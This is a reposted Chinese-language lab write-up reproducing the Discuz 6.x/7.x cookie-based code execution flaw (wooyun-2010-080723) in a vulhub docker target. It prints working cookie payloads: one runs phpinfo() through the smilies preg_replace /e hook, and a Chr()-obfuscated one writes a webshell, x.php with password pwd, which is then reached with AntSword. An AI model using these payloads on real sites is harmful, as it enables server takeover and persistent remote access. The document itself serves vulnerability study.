漏洞復現-Discuz-命令執行(wooyun-2010-080723)


 
 
 
 

0x00 實驗環境

攻擊機:win10

靶機:Ubuntu18 (docker搭建的vulhub靶場)

 

0x01 影響版本

Discuz 7.x 6.x版本

 

0x02 實驗目的

學習discuz的部分漏洞原理,並復現該漏洞,為以后的更多的挖洞姿勢做准備

 

0x03 實驗步驟

首先是對環境進行搭建,這個復現比較特殊,需要我們先安裝Discuz。

 

 自行對以下內容進行填寫(前提是需要記得住),數據庫默認賬號為root,密碼為root

安裝成功,接下來我們進行下一步

 進入到訪問頁面,查看到以下內容后,可開始進行漏洞復現:

 

 安裝成功后,找到一個帖子,可直接進行命令執行的操作:

 

此為管理員發布的一條帖子,我們抓包后通過修改cookie的操作也直接進行命令執行:

 

 將Cookie內的內容修改為:

GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui; GLOBALS[_DCACHE][smilies][replacearray]=phpinfo();

 

 

 發現以上命令執行成功,進行寫入shell的操作:

GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui; GLOBALS[_DCACHE][smilies][replacearray]=eval(Chr(102).Chr(112).Chr(117).Chr(116).Chr(115).Chr(40).Chr(102).Chr(111).Chr(112).Chr(101).Chr(110).Chr(40).Chr(39).Chr(120).Chr(46).Chr(112).Chr(104).Chr(112).Chr(39).Chr(44).Chr(39).Chr(119).Chr(39).Chr(41).Chr(44).Chr(39).Chr(60).Chr(63).Chr(112).Chr(104).Chr(112).Chr(32).Chr(64).Chr(101).Chr(118).Chr(97).Chr(108).Chr(40).Chr(36).Chr(95).Chr(80).Chr(79).Chr(83).Chr(84).Chr(91).Chr(112).Chr(119).Chr(100).Chr(93).Chr(41).Chr(63).Chr(62).Chr(39).Chr(41).Chr(59))

 

在上述代碼中,文件為:x.php   密碼為: pwd

 然后我們訪問http://[IP]:[Port]/x.php,連上寫入的馬,使用蟻劍連接成功,這樣就getshell了:

 

 0x04 實驗原理

(1)由於php版本里php.ini的設置里request_order默認值為GP,導致$_REQUEST中不再包含$_COOKIE,我們通過在Cookie中傳入$GLOBALS來覆蓋全局變量,造成代碼執行漏洞。

(2)如PHP中的system、exec、shell_exec、passthru、popen、proc_popen等,當用戶能控制這些函數中的參數時,就可以將惡意系統命令拼接到正常命令中,從而造成命令執行攻擊,這就是命令執行漏洞。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM